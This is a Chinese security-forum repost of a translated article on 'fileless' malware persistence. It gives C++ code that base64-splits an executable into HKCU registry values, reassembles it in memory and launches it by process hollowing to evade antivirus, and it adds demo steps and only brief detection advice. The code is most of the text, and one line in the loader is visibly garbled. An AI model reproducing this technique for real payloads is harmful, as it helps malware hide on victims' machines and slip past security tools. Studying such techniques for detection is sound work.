首页
社区
课程
招聘
病毒是如何将文件藏进注册表的
发表于: 2015-8-20 16:31 1106

病毒是如何将文件藏进注册表的

2015-8-20 16:31
1106
新闻链接:http://www.freebuf.com/articles/system/75471.html
新闻时间:2015-08-20
新闻正文: 
本文将介绍一种将可执行文件隐藏在Windows注册表的方法,包括将可执行文件部分或全部藏入注册表,之后再加载执行。攻击者往往未避免在二进制文件中出现恶意代码,把执行恶意功能的代码放在注册表的多个键值中,使得杀毒软件难以检测。这也是常见的恶意软件所采用的方法。

把文件放进注册表

第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。

把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true)
{
    HKEY hKey = nullptr;
    DWORD dwResult = 0;
 
    LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,
        nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,
        nullptr, &hKey, &dwResult);
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not create/open registry key. Error = %X\n",
            lRet);
        exit(-1);
    }
 
    if (bCreate && dwResult == REG_CREATED_NEW_KEY)
    {
        fprintf(stdout, "Created new registry key.\n");
    }
    else
    {
        fprintf(stdout, "Opened existing registry key.\n");
    }
 
    return hKey;
}
 
void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,
    const BYTE *pBytes, const DWORD dwSize)
{
    std::string strEncodedData = base64_encode(pBytes, dwSize);
 
    LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not write registry value. Error = %X\n",
            lRet);
        exit(-1);
    }
}
 
const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,
    const char * const strValueName, bool &bErrorOccured)
{
    DWORD dwType = 0;
    const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;
    DWORD dwReadSize = dwMaxReadSize;
 
    char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };
 
    LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,
        RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);
 
    std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };
    std::string strDecoded = base64_decode(std::string(strBytesEncoded));
    (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());
 
    if (lRet != ERROR_SUCCESS)
    {
        fprintf(stderr, "Could not read registry value. Error = %X\n",
            lRet);
        bErrorOccured = true;
    }
    if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))
    {
        fprintf(stderr, "Did not correctly read back a string from the registry.\n");
        bErrorOccured = true;
    }
 
    return pBytes;
}
 接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:

void WriteFileToRegistry(const char * const pFilePath)
{
    HKEY hKey = OpenRegistryKey("RegistryTest");
 
    std::string strSubName = "Part";
    std::string strSizeName = "Size";
    size_t ulIndex = 1;
 
    auto splitFile = SplitFile(pFilePath);
    for (size_t i = 0; i < splitFile.size(); ++i)
    {
        std::string strFullName(strSubName + std::to_string(ulIndex));
 
        WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);
        ++ulIndex;
    }
 
    CloseHandle(hKey);
}
 示例代码中的键是在HKCU\\RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:

scr1.png

用Base64解码器就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0]
[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0]
[14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13]
[10]$[0][0][0][0][0][0][0][181]!:
现在这个文件已经到注册表里了,文件可以从硬盘上删除。

从注册表获取文件

现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName)
{
    NewProcessInfo newProcessInfo = { 0 };
    std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;
 
    size_t ulKeyIndex = 1;
    std::string strFullName(strValueName + std::to_string(ulKeyIndex));
 
    bool bErrorOccured = false;
    auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
 
    while (!bErrorOccured)
    {
        splitFile.push_back(partFile);
 
        ++ulKeyIndex;
        strFullName = strValueName + std::to_string(ulKeyIndex);
 
        partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);
    }
 
    。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);
    memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);
 
    size_t ulWriteIndex = 0;
    for (auto &split : splitFile)
    {
        (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),
            READ_WRITE_SIZE);
        ++ulWriteIndex;
    }
 
    newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);
    newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);
 
    return newProcessInfo;
}
这里的ReadRegistryKeyString函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在newProcessInfo.pFileData中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。

加载获取的文件

现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:

void ExecuteFileFromRegistry(const char * const pValueName)
{
    HKEY hKey = OpenRegistryKey("RegistryTest");
 
    auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);
    auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");
    RunTargetProcess(newProcessInfo, processInfo);
 
    CloseHandle(hKey);
}
MapTargetProcess 和RunTargetProcess就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。

我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。

 

这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:

运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序
运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU\\RegistryTest
删除ReplacementProcess.exe
运行execute.bat,它会调用FilelessLauncher.exe读取HKCU\\RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。
 

记得运行结束后清理一下注册表

应对方法

本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。

代码

VS2015 密码:53kj

GitHub

代码在Windows 7, 8.1和10测试通过。

*参考来源:RCE Endeavors,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//